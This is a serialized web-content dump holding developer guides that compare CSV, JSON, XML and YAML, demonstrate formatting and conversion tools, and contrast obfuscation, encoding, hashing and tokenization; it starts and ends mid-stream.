time",[216,85197,85198],{},"Fastest",[216,85200,50094],{},[216,85202,85203],{},"Slow",[216,85205,85206],{},"Slowest",[199,85208,85209,85212,85215,85217,85219],{},[216,85210,85211],{},"Memory usage",[216,85213,85214],{},"Lowest",[216,85216,15466],{},[216,85218,15446],{},[216,85220,15446],{},[199,85222,85223,85226,85228,85230,85232],{},[216,85224,85225],{},"Stream support",[216,85227,76010],{},[216,85229,84702],{},[216,85231,76010],{},[216,85233,84702],{},[16,85235,85236],{},"CSV and JSON share the top spots for performance. XML and YAML carry overhead from their more complex grammars.",[11,85238,37675],{"id":37674},[16,85240,85241],{},"Moving between formats is not always a clean mapping. Watch for these issues:",[41,85243,85244,85250,85256,85266,85272],{},[44,85245,85246,85249],{},[47,85247,85248],{},"CSV to JSON",": Decide how to handle types — CSV has none, JSON requires them. Map empty fields to null.",[44,85251,85252,85255],{},[47,85253,85254],{},"JSON to CSV",": Flatten nested objects using dot notation. Arrays of objects may need multiple rows.",[44,85257,85258,85261,85262,85265],{},[47,85259,85260],{},"XML to JSON",": XML attributes have no JSON equivalent — common convention uses ",[143,85263,85264],{},"@attributes"," keys.",[44,85267,85268,85271],{},[47,85269,85270],{},"YAML to JSON",": Anchors and aliases expand inline. Comments are lost. Type coercion may change values silently.",[44,85273,85274,85277],{},[47,85275,85276],{},"Any format to any other",": Always validate the output. Use schema validators where available.",[11,85279,85281],{"id":85280},"decision-matrix","Decision Matrix",[193,85283,85284,85294],{},[196,85285,85286],{},[199,85287,85288,85291],{},[202,85289,85290],{},"Your Scenario",[202,85292,85293],{},"Choose",[211,85295,85296,85305,85314,85323,85332,85341,85350,85359,85368,85377],{},[199,85297,85298,85301],{},[216,85299,85300],{},"Exporting data for spreadsheets",[216,85302,85303],{},[47,85304,81119],{},[199,85306,85307,85310],{},[216,85308,85309],{},"Building a public REST API",[216,85311,85312],{},[47,85313,13411],{},[199,85315,85316,85319],{},[216,85317,85318],{},"Integrating with enterprise SOAP services",[216,85320,85321],{},[47,85322,84593],{},[199,85324,85325,85328],{},[216,85326,85327],{},"Writing CI\u002FCD or container configuration",[216,85329,85330],{},[47,85331,36926],{},[199,85333,85334,85337],{},[216,85335,85336],{},"Storing app state in the browser",[216,85338,85339],{},[47,85340,13411],{},[199,85342,85343,85346],{},[216,85344,85345],{},"Processing large flat datasets in a pipeline",[216,85347,85348],{},[47,85349,81119],{},[199,85351,85352,85355],{},[216,85353,85354],{},"Needing comments in configuration",[216,85356,85357],{},[47,85358,36926],{},[199,85360,85361,85364],{},[216,85362,85363],{},"Requiring strict schema validation",[216,85365,85366],{},[47,85367,84593],{},[199,85369,85370,85373],{},[216,85371,85372],{},"Minimizing file size",[216,85374,85375],{},[47,85376,81119],{},[199,85378,85379,85382],{},[216,85380,85381],{},"Maximizing parsing speed",[216,85383,85384,1531,85386],{},[47,85385,81119],{},[47,85387,13411],{},[11,85389,1355],{"id":1354},[41,85391,85392,85395,85398,85401,85404],{},[44,85393,85394],{},"CSV wins for flat tabular data and spreadsheet workflows — nothing else opens in Excel as cleanly.",[44,85396,85397],{},"JSON is the default for APIs and programmatic data interchange — its type system and universal support are unmatched.",[44,85399,85400],{},"XML remains necessary for enterprise integration, document formats, and strict validation — but it is verbose.",[44,85402,85403],{},"YAML is the best choice when humans write and maintain the file — CI\u002FCD, config, and orchestration.",[44,85405,85406],{},"Format migration always risks data loss — validate outputs and test round-trips.",[11,85408,286],{"id":285},[16,85410,85411],{},"Convert between formats instantly with these tools:",[41,85413,85414,85419],{},[44,85415,85416,85418],{},[98,85417,81194],{"href":81193}," — Transform CSV to JSON and back",[44,85420,85421,37778],{},[98,85422,37777],{"href":37776},[11,85424,321],{"id":320},[41,85426,85427,85433,85438],{},[44,85428,85429,85432],{},[98,85430,85431],{"href":81240},"CSV to JSON Conversion Guide"," — Deep dive into parsing, quoting, and edge cases",[44,85434,85435,85437],{},[98,85436,81212],{"href":81211}," — Essential converters for developer workflows",[44,85439,85440,85442],{},[98,85441,37788],{"href":37787}," — Detailed comparison for configuration decisions",[2043,85444,85445],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":85447},[85448,85449,85450,85451,85452,85453,85454,85455,85456,85457,85458,85459],{"id":84572,"depth":337,"text":84573},{"id":36912,"depth":337,"text":36913},{"id":84742,"depth":337,"text":84743},{"id":84811,"depth":337,"text":84812},{"id":84947,"depth":337,"text":84948},{"id":85022,"depth":337,"text":85023},{"id":85151,"depth":337,"text":85152},{"id":37674,"depth":337,"text":37675},{"id":85280,"depth":337,"text":85281},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Compare CSV, JSON, XML, and YAML data formats. Understand strengths, weaknesses, and best use cases for each format.",{"keywords":85462},[81238,85463],"data-format-comparison",{"title":81205,"description":85460},"guides\u002Fdata-format-comparison","X0kHDUQbBLjW0q5gfiCyP0r-S9I8iMopdEgdJjeClrs",{"id":85468,"title":85469,"body":85470,"date":2070,"description":86184,"extension":361,"meta":86185,"navigation":363,"path":86186,"readingTime":889,"seo":86187,"stem":86188,"__hash__":86189},"guides\u002Fguides\u002Fdata-formatting-tools.md","Data Formatting Tools - Essential Online Utilities",{"type":8,"value":85471,"toc":86172},[85472,85476,85479,85482,85486,85489,85493,85507,85512,85521,85526,85581,85587,85590,85593,85597,85616,85620,85692,85696,85794,85799,85802,85805,85809,85823,85828,85834,85839,85911,85916,85920,85999,86002,86004,86070,86074,86106,86108,86125,86127,86130,86147,86149,86170],[11,85473,85475],{"id":85474},"data-formatting-tools-you-need","Data Formatting Tools You Need",[16,85477,85478],{},"Messy, unformatted data slows you down. Whether you are debugging an API response, reviewing a database query, or compressing a stylesheet, you need clean, readable output fast.",[16,85480,85481],{},"Online formatting tools give you instant results without installing anything. Paste your data, click a button, and get perfectly structured output. This guide covers the essential formatting tools every developer should have bookmarked.",[11,85483,85485],{"id":85484},"xml-formatter","XML Formatter",[16,85487,85488],{},"XML configs, SOAP responses, and SVG files arrive as dense blocks of tags. An XML formatter indents elements, places closing tags on separate lines, and validates document structure.",[16,85490,85491],{},[47,85492,84034],{},[41,85494,85495,85498,85501,85504],{},[44,85496,85497],{},"Debugging SOAP API responses",[44,85499,85500],{},"Editing XML configuration files (Spring, Maven, Tomcat)",[44,85502,85503],{},"Inspecting SVG markup by hand",[44,85505,85506],{},"Validating sitemaps and RSS feeds",[16,85508,85509],{},[47,85510,85511],{},"Before formatting:",[135,85513,85515],{"className":84954,"code":85514,"language":84956,"meta":141,"style":141},"\u003Cconfig>\u003Cdatabase>\u003Chost>localhost\u003C\u002Fhost>\u003Cport>5432\u003C\u002Fport>\u003C\u002Fdatabase>\u003Ccache>\u003Cenabled>true\u003C\u002Fenabled>\u003Cttl>3600\u003C\u002Fttl>\u003C\u002Fcache>\u003C\u002Fconfig>\n",[143,85516,85517],{"__ignoreMap":141},[1560,85518,85519],{"class":1562,"line":1563},[1560,85520,85514],{},[16,85522,85523],{},[47,85524,85525],{},"After formatting:",[135,85527,85529],{"className":84954,"code":85528,"language":84956,"meta":141,"style":141},"\u003Cconfig>\n  \u003Cdatabase>\n    \u003Chost>localhost\u003C\u002Fhost>\n    \u003Cport>5432\u003C\u002Fport>\n  \u003C\u002Fdatabase>\n  \u003Ccache>\n    \u003Cenabled>true\u003C\u002Fenabled>\n    \u003Cttl>3600\u003C\u002Fttl>\n  \u003C\u002Fcache>\n\u003C\u002Fconfig>\n",[143,85530,85531,85536,85541,85546,85551,85556,85561,85566,85571,85576],{"__ignoreMap":141},[1560,85532,85533],{"class":1562,"line":1563},[1560,85534,85535],{},"\u003Cconfig>\n",[1560,85537,85538],{"class":1562,"line":337},[1560,85539,85540],{},"  \u003Cdatabase>\n",[1560,85542,85543],{"class":1562,"line":343},[1560,85544,85545],{},"    \u003Chost>localhost\u003C\u002Fhost>\n",[1560,85547,85548],{"class":1562,"line":365},[1560,85549,85550],{},"    \u003Cport>5432\u003C\u002Fport>\n",[1560,85552,85553],{"class":1562,"line":889},[1560,85554,85555],{},"  \u003C\u002Fdatabase>\n",[1560,85557,85558],{"class":1562,"line":1710},[1560,85559,85560],{},"  \u003Ccache>\n",[1560,85562,85563],{"class":1562,"line":1717},[1560,85564,85565],{},"    \u003Cenabled>true\u003C\u002Fenabled>\n",[1560,85567,85568],{"class":1562,"line":1747},[1560,85569,85570],{},"    \u003Cttl>3600\u003C\u002Fttl>\n",[1560,85572,85573],{"class":1562,"line":2507},[1560,85574,85575],{},"  \u003C\u002Fcache>\n",[1560,85577,85578],{"class":1562,"line":2524},[1560,85579,85580],{},"\u003C\u002Fconfig>\n",[16,85582,421,85583,85586],{},[98,85584,85485],{"href":85585},"\u002Ftools\u002Fxml-formatter"," formats, minifies, and validates XML with one click. Choose 2 or 4 space indentation, and toggle between format, minify, and validate modes.",[11,85588,37777],{"id":85589},"json-formatter",[16,85591,85592],{},"JSON is everywhere — API responses, configuration files, log data. But minified JSON from APIs arrives as a single unreadable line. A JSON formatter adds proper indentation and line breaks so you can inspect the structure.",[16,85594,85595],{},[47,85596,84034],{},[41,85598,85599,85602,85610,85613],{},[44,85600,85601],{},"Debugging REST API responses",[44,85603,85604,85605,1531,85607,85609],{},"Reviewing ",[143,85606,37590],{},[143,85608,37645],{}," changes",[44,85611,85612],{},"Comparing two JSON payloads by eye",[44,85614,85615],{},"Validating JSON before submitting it to a service",[16,85617,85618],{},[47,85619,85511],{},[135,85621,85623],{"className":23484,"code":85622,"language":23486,"meta":141,"style":141},"{\"user\":{\"id\":1,\"name\":\"Alice\",\"roles\":[\"admin\",\"editor\"],\"settings\":{\"theme\":\"dark\",\"notifications\":true}}}\n",[143,85624,85625],{"__ignoreMap":141},[1560,85626,85627,85629,85632,85635,85638,85640,85642,85644,85646,85648,85650,85652,85655,85658,85660,85662,85665,85668,85671,85673,85676,85678,85680,85682,85685,85687,85689],{"class":1562,"line":1563},[1560,85628,51622],{"class":1570},[1560,85630,85631],{"class":1576},"\"user\"",[1560,85633,85634],{"class":1570},":{",[1560,85636,85637],{"class":1576},"\"id\"",[1560,85639,8037],{"class":1570},[1560,85641,3585],{"class":1576},[1560,85643,6858],{"class":1570},[1560,85645,84838],{"class":1576},[1560,85647,8037],{"class":1570},[1560,85649,23503],{"class":5634},[1560,85651,6858],{"class":1570},[1560,85653,85654],{"class":1576},"\"roles\"",[1560,85656,85657],{"class":1570},":[",[1560,85659,81849],{"class":5634},[1560,85661,6858],{"class":1570},[1560,85663,85664],{"class":5634},"\"editor\"",[1560,85666,85667],{"class":1570},"],",[1560,85669,85670],{"class":1576},"\"settings\"",[1560,85672,85634],{"class":1570},[1560,85674,85675],{"class":1576},"\"theme\"",[1560,85677,8037],{"class":1570},[1560,85679,56010],{"class":5634},[1560,85681,6858],{"class":1570},[1560,85683,85684],{"class":1576},"\"notifications\"",[1560,85686,8037],{"class":1570},[1560,85688,20533],{"class":1576},[1560,85690,85691],{"class":1570},"}}}\n",[16,85693,85694],{},[47,85695,85525],{},[135,85697,85699],{"className":23484,"code":85698,"language":23486,"meta":141,"style":141},"{\n  \"user\": {\n    \"id\": 1,\n    \"name\": \"Alice\",\n    \"roles\": [\n      \"admin\",\n      \"editor\"\n    ],\n    \"settings\": {\n      \"theme\": \"dark\",\n      \"notifications\": true\n    }\n  }\n}\n",[143,85700,85701,85705,85712,85722,85732,85739,85746,85751,85755,85762,85773,85782,85786,85790],{"__ignoreMap":141},[1560,85702,85703],{"class":1562,"line":1563},[1560,85704,23493],{"class":1570},[1560,85706,85707,85710],{"class":1562,"line":337},[1560,85708,85709],{"class":1576},"  \"user\"",[1560,85711,37098],{"class":1570},[1560,85713,85714,85716,85718,85720],{"class":1562,"line":343},[1560,85715,82630],{"class":1576},[1560,85717,1663],{"class":1570},[1560,85719,3585],{"class":1576},[1560,85721,11943],{"class":1570},[1560,85723,85724,85726,85728,85730],{"class":1562,"line":365},[1560,85725,37103],{"class":1576},[1560,85727,1663],{"class":1570},[1560,85729,23503],{"class":5634},[1560,85731,11943],{"class":1570},[1560,85733,85734,85737],{"class":1562,"line":889},[1560,85735,85736],{"class":1576},"    \"roles\"",[1560,85738,82876],{"class":1570},[1560,85740,85741,85744],{"class":1562,"line":1710},[1560,85742,85743],{"class":5634},"      \"admin\"",[1560,85745,11943],{"class":1570},[1560,85747,85748],{"class":1562,"line":1717},[1560,85749,85750],{"class":5634},"      \"editor\"\n",[1560,85752,85753],{"class":1562,"line":1747},[1560,85754,20737],{"class":1570},[1560,85756,85757,85760],{"class":1562,"line":2507},[1560,85758,85759],{"class":1576},"    \"settings\"",[1560,85761,37098],{"class":1570},[1560,85763,85764,85767,85769,85771],{"class":1562,"line":2524},[1560,85765,85766],{"class":1576},"      \"theme\"",[1560,85768,1663],{"class":1570},[1560,85770,56010],{"class":5634},[1560,85772,11943],{"class":1570},[1560,85774,85775,85778,85780],{"class":1562,"line":2529},[1560,85776,85777],{"class":1576},"      \"notifications\"",[1560,85779,1663],{"class":1570},[1560,85781,23527],{"class":1576},[1560,85783,85784],{"class":1562,"line":2534},[1560,85785,11612],{"class":1570},[1560,85787,85788],{"class":1562,"line":2542},[1560,85789,4959],{"class":1570},[1560,85791,85792],{"class":1562,"line":2558},[1560,85793,1585],{"class":1570},[16,85795,421,85796,85798],{},[98,85797,37777],{"href":37776}," lets you format, minify, and validate JSON with configurable indentation.",[11,85800,81194],{"id":85801},"csv-to-json-converter",[16,85803,85804],{},"CSV files from spreadsheets and exports need to become JSON before most APIs will accept them. A CSV to JSON converter handles the parsing — including quoted fields, embedded commas, and different delimiters.",[16,85806,85807],{},[47,85808,84034],{},[41,85810,85811,85814,85817,85820],{},[44,85812,85813],{},"Importing spreadsheet data into a web API",[44,85815,85816],{},"Preparing CSV exports for MongoDB or PostgreSQL",[44,85818,85819],{},"Converting report data for frontend charting libraries",[44,85821,85822],{},"Migrating data between systems with different format requirements",[16,85824,85825],{},[47,85826,85827],{},"CSV input:",[135,85829,85832],{"className":85830,"code":85831,"language":140},[138],"name,age,city\nAlice,30,New York\nBob,25,\"Los Angeles\"\n",[143,85833,85831],{"__ignoreMap":141},[16,85835,85836],{},[47,85837,85838],{},"JSON output:",[135,85840,85842],{"className":23484,"code":85841,"language":23486,"meta":141,"style":141},"[\n  { \"name\": \"Alice\", \"age\": 30, \"city\": \"New York\" },\n  { \"name\": \"Bob\", \"age\": 25, \"city\": \"Los Angeles\" }\n]\n",[143,85843,85844,85848,85878,85907],{"__ignoreMap":141},[1560,85845,85846],{"class":1562,"line":1563},[1560,85847,80600],{"class":1570},[1560,85849,85850,85852,85854,85856,85858,85860,85863,85865,85867,85869,85872,85874,85876],{"class":1562,"line":337},[1560,85851,36449],{"class":1570},[1560,85853,84838],{"class":1576},[1560,85855,1663],{"class":1570},[1560,85857,23503],{"class":5634},[1560,85859,1459],{"class":1570},[1560,85861,85862],{"class":1576},"\"age\"",[1560,85864,1663],{"class":1570},[1560,85866,23995],{"class":1576},[1560,85868,1459],{"class":1570},[1560,85870,85871],{"class":1576},"\"city\"",[1560,85873,1663],{"class":1570},[1560,85875,80899],{"class":5634},[1560,85877,21223],{"class":1570},[1560,85879,85880,85882,85884,85886,85888,85890,85892,85894,85896,85898,85900,85902,85905],{"class":1562,"line":343},[1560,85881,36449],{"class":1570},[1560,85883,84838],{"class":1576},[1560,85885,1663],{"class":1570},[1560,85887,80653],{"class":5634},[1560,85889,1459],{"class":1570},[1560,85891,85862],{"class":1576},[1560,85893,1663],{"class":1570},[1560,85895,22036],{"class":1576},[1560,85897,1459],{"class":1570},[1560,85899,85871],{"class":1576},[1560,85901,1663],{"class":1570},[1560,85903,85904],{"class":5634},"\"Los Angeles\"",[1560,85906,27879],{"class":1570},[1560,85908,85909],{"class":1562,"line":365},[1560,85910,37203],{"class":1570},[16,85912,421,85913,85915],{},[98,85914,81194],{"href":81193}," converts in both directions with delimiter and type inference options.",[11,85917,85919],{"id":85918},"online-vs-desktop-tools","Online vs Desktop Tools",[193,85921,85922,85934],{},[196,85923,85924],{},[199,85925,85926,85928,85931],{},[202,85927,1234],{},[202,85929,85930],{},"Online Tools",[202,85932,85933],{},"Desktop Tools",[211,85935,85936,85947,85957,85968,85979,85988],{},[199,85937,85938,85941,85944],{},[216,85939,85940],{},"Setup",[216,85942,85943],{},"Zero — open in browser",[216,85945,85946],{},"Install and configure",[199,85948,85949,85951,85954],{},[216,85950,819],{},[216,85952,85953],{},"Instant for most files",[216,85955,85956],{},"Faster for very large files",[199,85958,85959,85962,85965],{},[216,85960,85961],{},"Privacy",[216,85963,85964],{},"Data stays in your browser",[216,85966,85967],{},"Data stays on your machine",[199,85969,85970,85973,85976],{},[216,85971,85972],{},"Updates",[216,85974,85975],{},"Always current",[216,85977,85978],{},"Manual updates required",[199,85980,85981,85983,85985],{},[216,85982,16397],{},[216,85984,16450],{},[216,85986,85987],{},"Often paid",[199,85989,85990,85993,85996],{},[216,85991,85992],{},"Offline use",[216,85994,85995],{},"Requires internet",[216,85997,85998],{},"Works offline",[16,86000,86001],{},"For 95% of daily formatting tasks, online tools win. They are fast, free, and always up to date. Desktop tools only matter when you process files over 50 MB regularly or work in environments without internet access.",[11,86003,739],{"id":738},[193,86005,86006,86016],{},[196,86007,86008],{},[199,86009,86010,86012,86014],{},[202,86011,748],{},[202,86013,751],{},[202,86015,2758],{},[211,86017,86018,86028,86038,86048,86059],{},[199,86019,86020,86023,86025],{},[216,86021,86022],{},"Read XML API response",[216,86024,85485],{},[216,86026,86027],{},"Add indentation and validate",[199,86029,86030,86033,86035],{},[216,86031,86032],{},"Debug JSON endpoint",[216,86034,37777],{},[216,86036,86037],{},"Pretty-print and validate",[199,86039,86040,86043,86045],{},[216,86041,86042],{},"Import spreadsheet into API",[216,86044,85248],{},[216,86046,86047],{},"Convert tabular data to JSON",[199,86049,86050,86053,86056],{},[216,86051,86052],{},"Reduce XML payload size",[216,86054,86055],{},"XML Formatter (Minify)",[216,86057,86058],{},"Strip whitespace",[199,86060,86061,86064,86067],{},[216,86062,86063],{},"Validate before parsing",[216,86065,86066],{},"XML or JSON Formatter",[216,86068,86069],{},"Catch structural errors",[11,86071,86073],{"id":86072},"workflow-tips","Workflow Tips",[77,86075,86076,86082,86088,86094,86100],{},[44,86077,86078,86081],{},[47,86079,86080],{},"Validate first"," — run validation before formatting to catch structural errors early",[44,86083,86084,86087],{},[47,86085,86086],{},"Format before editing"," — paste raw data, format it, then make changes on the clean version",[44,86089,86090,86093],{},[47,86091,86092],{},"Minify last"," — always keep a readable copy. Minify only when deploying",[44,86095,86096,86099],{},[47,86097,86098],{},"Use consistent indentation"," — pick 2 spaces or 4 spaces and apply it across your entire project",[44,86101,86102,86105],{},[47,86103,86104],{},"Bookmark your tools"," — you will reach for these daily. Speed matters",[11,86107,1355],{"id":1354},[41,86109,86110,86113,86116,86119,86122],{},[44,86111,86112],{},"Formatting tools make raw data readable — use them every time you debug or review code",[44,86114,86115],{},"JSON and XML formatters also validate, catching structural errors before runtime failures",[44,86117,86118],{},"CSV to JSON converters handle quoting and delimiters that break naive splitting",[44,86120,86121],{},"Online tools cover most daily needs without installation",[44,86123,86124],{},"Always maintain a readable source copy and minify only for deployment",[11,86126,286],{"id":285},[16,86128,86129],{},"Start formatting your data now with these free tools:",[41,86131,86132,86137,86142],{},[44,86133,86134,86136],{},[98,86135,85485],{"href":85585}," — Format, validate, and minify XML instantly",[44,86138,86139,86141],{},[98,86140,37777],{"href":37776}," — Pretty-print, validate, and minify JSON",[44,86143,86144,86146],{},[98,86145,81194],{"href":81193}," — Convert between CSV and JSON with type options",[11,86148,321],{"id":320},[41,86150,86151,86158,86165],{},[44,86152,86153,86157],{},[98,86154,86156],{"href":86155},"\u002Fguides\u002Fxml-formatter-guide","XML Formatter Guide"," — Detailed walkthrough of XML formatting and validation",[44,86159,86160,86164],{},[98,86161,86163],{"href":86162},"\u002Fguides\u002Fxml-vs-json","XML vs JSON"," — When to use each data format",[44,86166,86167,86169],{},[98,86168,85431],{"href":81240}," — Deep dive into converting between CSV and JSON",[2043,86171,83220],{},{"title":141,"searchDepth":337,"depth":337,"links":86173},[86174,86175,86176,86177,86178,86179,86180,86181,86182,86183],{"id":85474,"depth":337,"text":85475},{"id":85484,"depth":337,"text":85485},{"id":85589,"depth":337,"text":37777},{"id":85801,"depth":337,"text":81194},{"id":85918,"depth":337,"text":85919},{"id":738,"depth":337,"text":739},{"id":86072,"depth":337,"text":86073},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Discover the best online data formatting tools. From XML formatters to JSON beautifiers and CSV converters.",{"immutable":363},"\u002Fguides\u002Fdata-formatting-tools",{"title":85469,"description":86184},"guides\u002Fdata-formatting-tools","0mewwgytFELqZaj65e70IgEySMYdxa5JgDivlYVA2-c",{"id":86191,"title":86192,"body":86193,"date":2070,"description":86459,"extension":361,"meta":86460,"navigation":363,"path":86461,"readingTime":889,"seo":86462,"stem":86463,"__hash__":86464},"guides\u002Fguides\u002Fdata-obfuscation-tools.md","Data Obfuscation Tools",{"type":8,"value":86194,"toc":86448},[86195,86199,86202,86205,86209,86283,86286,86289,86292,86303,86309,86312,86315,86318,86329,86332,86335,86338,86341,86352,86355,86358,86361,86364,86375,86379,86411,86413,86416,86436,86438],[11,86196,86198],{"id":86197},"what-is-data-obfuscation","What Is Data Obfuscation?",[16,86200,86201],{},"Data obfuscation transforms readable information into a form that hides its original content. Unlike encryption, obfuscation does not require a key to reverse — it merely makes data harder to interpret at a glance.",[16,86203,86204],{},"Obfuscation is used when you need to protect data from casual observation, not from determined attackers.",[11,86206,86208],{"id":86207},"obfuscation-vs-encryption-vs-hashing","Obfuscation vs Encryption vs Hashing",[193,86210,86211,86224],{},[196,86212,86213],{},[199,86214,86215,86217,86219,86222],{},[202,86216,7441],{},[202,86218,84440],{},[202,86220,86221],{},"Key Required",[202,86223,1775],{},[211,86225,86226,86237,86248,86259,86270],{},[199,86227,86228,86230,86232,86234],{},[216,86229,22016],{},[216,86231,3057],{},[216,86233,6117],{},[216,86235,86236],{},"Obscuring spoilers, puzzles",[199,86238,86239,86241,86243,86245],{},[216,86240,84223],{},[216,86242,3057],{},[216,86244,6117],{},[216,86246,86247],{},"Transport encoding",[199,86249,86250,86252,86254,86256],{},[216,86251,84416],{},[216,86253,6117],{},[216,86255,6117],{},[216,86257,86258],{},"Password storage, integrity checks",[199,86260,86261,86263,86265,86267],{},[216,86262,84413],{},[216,86264,3057],{},[216,86266,3057],{},[216,86268,86269],{},"Confidential data protection",[199,86271,86272,86275,86278,86280],{},[216,86273,86274],{},"Tokenization",[216,86276,86277],{},"Yes (via vault)",[216,86279,3057],{},[216,86281,86282],{},"PCI DSS compliance",[11,86284,22016],{"id":86285},"rot13",[16,86287,86288],{},"ROT13 shifts each letter by 13 positions in the alphabet. Because the alphabet has 26 letters, applying ROT13 twice returns the original text.",[16,86290,86291],{},"Use ROT13 for:",[41,86293,86294,86297,86300],{},[44,86295,86296],{},"Hiding spoilers in forums",[44,86298,86299],{},"Obscuring puzzle answers",[44,86301,86302],{},"Simple email content masking",[16,86304,86305,86308],{},[47,86306,86307],{},"Never use ROT13 for security."," Anyone can decode it instantly.",[11,86310,84223],{"id":86311},"base64",[16,86313,86314],{},"Base64 encodes binary data as ASCII text. It is reversible and requires no key.",[16,86316,86317],{},"Use Base64 for:",[41,86319,86320,86323,86326],{},[44,86321,86322],{},"Embedding images in HTML or CSS",[44,86324,86325],{},"Email attachment encoding (MIME)",[44,86327,86328],{},"API payloads requiring text-safe binary transport",[16,86330,86331],{},"Base64 is not obfuscation in the strict sense — it is encoding. But it does make data unreadable to humans at a glance.",[11,86333,84416],{"id":86334},"hashing",[16,86336,86337],{},"Hashing converts input into a fixed-size digest that cannot be reversed. The same input always produces the same hash.",[16,86339,86340],{},"Use hashing for:",[41,86342,86343,86346,86349],{},[44,86344,86345],{},"Password storage (with salt)",[44,86347,86348],{},"Data integrity verification",[44,86350,86351],{},"Deduplication",[16,86353,86354],{},"Hashes cannot be \"decoded\" back to the original. This makes them suitable for storage but not for data you need to retrieve.",[11,86356,86274],{"id":86357},"tokenization",[16,86359,86360],{},"Tokenization replaces sensitive data with a token that maps back to the original via a secure vault. The token itself reveals nothing about the original data.",[16,86362,86363],{},"Use tokenization for:",[41,86365,86366,86369,86372],{},[44,86367,86368],{},"Credit card number storage (PCI DSS)",[44,86370,86371],{},"Personally identifiable information (PII)",[44,86373,86374],{},"Regulatory compliance scenarios",[11,86376,86378],{"id":86377},"choosing-the-right-method","Choosing the Right Method",[77,86380,86381,86387,86393,86399,86405],{},[44,86382,86383,86386],{},[47,86384,86385],{},"Need to retrieve the original?"," Use reversible methods (ROT13, Base64, encryption, tokenization).",[44,86388,86389,86392],{},[47,86390,86391],{},"Need security?"," Use encryption (AES, RSA) — not ROT13 or Base64.",[44,86394,86395,86398],{},[47,86396,86397],{},"Need integrity verification?"," Use hashing (SHA-256).",[44,86400,86401,86404],{},[47,86402,86403],{},"Need compliance?"," Use tokenization for regulated data.",[44,86406,86407,86410],{},[47,86408,86409],{},"Just hiding spoilers?"," ROT13 is fine.",[11,86412,286],{"id":285},[16,86414,86415],{},"Use these tools to obfuscate and encode data:",[41,86417,86418,86424,86429],{},[44,86419,86420,86423],{},[98,86421,86422],{"href":22565},"ROT13 Encoder\u002FDecoder"," — Obscure text with ROT13",[44,86425,86426,86428],{},[98,86427,12162],{"href":12161}," — Encode binary data as text",[44,86430,86431,86435],{},[98,86432,86434],{"href":86433},"\u002Ftools\u002Fhash-calculator","Hash Calculator"," — Compute SHA-256 and other hashes",[11,86437,321],{"id":320},[41,86439,86440,86444],{},[44,86441,86442],{},[98,86443,22545],{"href":22544},[44,86445,86446],{},[98,86447,22557],{"href":22556},{"title":141,"searchDepth":337,"depth":337,"links":86449},[86450,86451,86452,86453,86454,86455,86456,86457,86458],{"id":86197,"depth":337,"text":86198},{"id":86207,"depth":337,"text":86208},{"id":86285,"depth":337,"text":22016},{"id":86311,"depth":337,"text":84223},{"id":86334,"depth":337,"text":84416},{"id":86357,"depth":337,"text":86274},{"id":86377,"depth":337,"text":86378},{"id":285,"depth":337,"text":286},{"id":320,"depth":337,"text":321},"Tools for obscuring sensitive data — ROT13, Base64, hashing, and tokenization compared for different use cases.",{"immutable":363},"\u002Fguides\u002Fdata-obfuscation-tools",{"title":86192,"description":86459},"guides\u002Fdata-obfuscation-tools","V_tallgU-EJuyxoMa3kgc59PBjOjrkbQfcZa63P0k6M",{"id":86466,"title":86467,"body":86468,"date":2070,"description":87145,"extension":361,"meta":87146,"navigation":363,"path":81211,"readingTime":7146,"seo":87149,"stem":87150,"__hash__":87151},"guides\u002Fguides\u002Fdata-transformation-tools.md","Data Transformation Tools: Essential Converters for Developers",{"type":8,"value":86469,"toc":87124},[86470,86474,86477,86480,86484,86562,86565,86569,86572,86576,86579,86585,86591,86596,86600,86603,86795,86800,86804,86807,86810,86833,86837,86840,86845,86849,86852,86899,86902,86906,86909,86922,86927,86931,86934,86938,86958,86962,86981,86985,87004,87008,87011,87047,87050,87052,87069,87071,87074,87101,87103,87121],[11,86471,86473],{"id":86472},"what-is-data-transformation","What Is Data Transformation?",[16,86475,86476],{},"Data transformation means converting data from one format, structure, or encoding into another. Developers do this daily — reformatting API responses, cleaning imported data, converting between encodings, and migrating configurations. The right tools make these tasks instant instead of tedious.",[16,86478,86479],{},"This guide covers the most common transformation tasks, the tools designed for them, and workflow patterns that save time.",[11,86481,86483],{"id":86482},"common-transformation-tasks","Common Transformation Tasks",[193,86485,86486,86497],{},[196,86487,86488],{},[199,86489,86490,86492,86494],{},[202,86491,748],{},[202,86493,133],{},[202,86495,86496],{},"Frequency",[211,86498,86499,86509,86520,86531,86542,86552],{},[199,86500,86501,86503,86506],{},[216,86502,84427],{},[216,86504,86505],{},"CSV to JSON, JSON to YAML",[216,86507,86508],{},"Every project",[199,86510,86511,86514,86517],{},[216,86512,86513],{},"Validation",[216,86515,86516],{},"Check JSON syntax, verify regex",[216,86518,86519],{},"Multiple times daily",[199,86521,86522,86525,86528],{},[216,86523,86524],{},"Cleaning",[216,86526,86527],{},"Remove duplicates, trim whitespace",[216,86529,86530],{},"Data imports",[199,86532,86533,86536,86539],{},[216,86534,86535],{},"Normalization",[216,86537,86538],{},"Standardize date formats, fix encoding",[216,86540,86541],{},"Data pipelines",[199,86543,86544,86546,86549],{},[216,86545,84410],{},[216,86547,86548],{},"Base64 encode\u002Fdecode, URL 